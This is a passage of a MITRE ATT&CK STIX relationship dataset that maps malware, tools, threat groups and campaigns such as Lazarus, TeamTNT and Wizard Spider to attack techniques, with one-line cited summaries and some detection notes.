Internet.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-16T18:19:39.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14acc004-9b77-4a4a-b31d-a8eea459b4bb","created":"2022-10-13T15:34:18.271Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:34:18.271Z","description":"During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), threat actors sent malicious Word OLE documents to victims.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14adcf50-912a-48d5-87f6-72d2273039aa","type":"relationship","created":"2019-10-10T12:39:13.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","source_name":"ESET Machete July 2019"}],"modified":"2019-10-10T12:39:13.784Z","description":"[Machete](https://attack.mitre.org/software/S0409) has scanned and looked for cryptographic keys and certificate file extensions.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14b70990-48b0-482b-bd5a-3a99d9d9a653","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}],"modified":"2020-03-17T02:14:55.979Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) can use HTTP for C2 communications.(Citation: FireEye APT34 Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14b74d2b-20c9-48b4-9894-f3ebeeff6d69","created":"2024-09-16T08:58:45.520Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:58:45.521Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can identify victim environment Group Policy information.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14ba8b29-133b-456d-b85d-139de4510bb1","created":"2021-10-01T01:57:31.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.700Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used shell scripts for execution.(Citation: Trend Micro TeamTNT)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14bc8e2b-387b-4e84-9e3c-15eee909d30a","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for changes made to files that may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14bcff67-6ecb-4a0a-9fcf-5b5ea72a6f06","created":"2024-09-17T20:18:40.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-26T17:59:59.847Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has Base64-encoded the message body of a HTTP request sent to C2.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14c209b9-cef8-4acf-8deb-57c03beaa64f","created":"2022-07-18T20:42:49.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:02:20.132Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used a DCSync command with [Mimikatz](https://attack.mitre.org/software/S0002) to retrieve credentials from an exploited controller.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14cc9d67-85e2-4aae-8f3b-4201a66b918f","created":"2019-04-23T13:58:04.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"Lee 2013","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"},{"source_name":"NCSC Joint Report Public Tools","description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T15:57:42.438Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component can upload local files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--14d60e02-4ceb-4972-844c-412e9599144f","created":"2021-02-25T16:57:07.026Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IronNetInjector](https://attack.mitre.org/software/S0581) can use an IronPython scripts to load a .NET injector to inject a payload into its own or a remote process.(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14dbc3a9-5e47-454a-805c-b8e22659362f","type":"relationship","created":"2021-12-07T18:17:41.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-07T18:17:41.829Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used various forms of spearphishing in attempts to get users to open malicious attachments.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14dcdf1b-6788-429d-a7d0-910e86a2e6d6","type":"relationship","created":"2019-03-11T15:04:51.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:58.891Z","description":"[Empire](https://attack.mitre.org/software/S0363) includes keylogging capabilities for Windows, Linux, and macOS systems.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14de629c-9b49-4841-901a-85fab61f693b","type":"relationship","created":"2020-06-10T20:19:59.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.663Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to identify the system volume information of a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14debfee-3a2d-4184-8f2a-bc07977ce909","type":"relationship","created":"2021-08-18T18:37:29.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.","url":"https://github.com/BloodHoundAD/BloodHound","source_name":"GitHub Bloodhound"}],"modified":"2021-10-14T23:23:19.713Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) has the ability to collect local admin information via GPO.(Citation: GitHub Bloodhound)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14e02371-ba11-459d-9662-188e85d3cf7c","type":"relationship","created":"2021-11-12T19:02:16.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T17:40:40.609Z","description":"[Diavol](https://attack.mitre.org/software/S0659) can collect the username from a compromised host.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14e836d1-af9e-423e-8a8d-ad2ab169667f","type":"relationship","created":"2021-05-26T15:09:52.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:29:06.807Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can execute getinfo to discover the current time on a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14e8774f-a443-4065-b44d-5bb13b467c7c","type":"relationship","created":"2020-05-11T18:33:34.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:17.179Z","description":"[RTM](https://attack.mitre.org/software/S0148) has the capability to download a VNC module from command and control (C2).(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14ef646a-06c3-477a-a903-8a2b5d77a686","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor executed commands and arguments that may attempt to exfiltrate data over Bluetooth rather than the command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14f3eebf-40c3-48d5-ad62-356d57ccf2dc","type":"relationship","created":"2020-11-10T16:49:12.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."},{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."},{"source_name":"DFIR Ryuk in 5 Hours October 2020","url":"https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/","description":"The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."}],"modified":"2020-11-10T16:49:12.074Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has exploited or attempted to exploit Zerologon (CVE-2020-1472) and EternalBlue (MS17-010) vulnerabilities.(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14fac9a8-f835-492b-b4df-32b677ac9030","created":"2023-03-17T15:31:47.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:52:44.543Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) created fake LinkedIn accounts for their targeting efforts.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14fe92e6-9a5e-4116-8316-e52f6270b02c","type":"relationship","created":"2019-01-29T20:05:36.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust NanoCore Jan 2017","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/","description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."}],"modified":"2019-04-17T20:47:23.990Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) gathers the IP address from the victim’s machine.(Citation: DigiTrust NanoCore Jan 2017)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1501c966-8f40-4093-b0d1-b3d572b3a1ee","created":"2022-06-09T15:00:35.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T21:39:33.897Z","description":"[MacMa](https://attack.mitre.org/software/S1016) can collect information about a compromised computer, including: Hardware UUID, Mac serial number, macOS version, and disk sizes.(Citation: ESET DazzleSpy Jan 2022)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--15033f82-efad-4db9-8d4c-015eeeeead64","type":"relationship","created":"2021-09-15T18:02:37.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-10-13T22:50:48.965Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) used wmic.exe to add a new user to the system.(Citation: Symantec WastedLocker June 2020)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1503d568-e350-4021-ac47-a0913f6f4f1d","created":"2022-06-06T18:01:11.955Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has identified specific potential victims at targeted organizations.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-06T18:01:11.955Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--150667a8-2155-4500-b7bb-c2d6bbc568b8","type":"relationship","created":"2021-02-23T20:50:33.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS 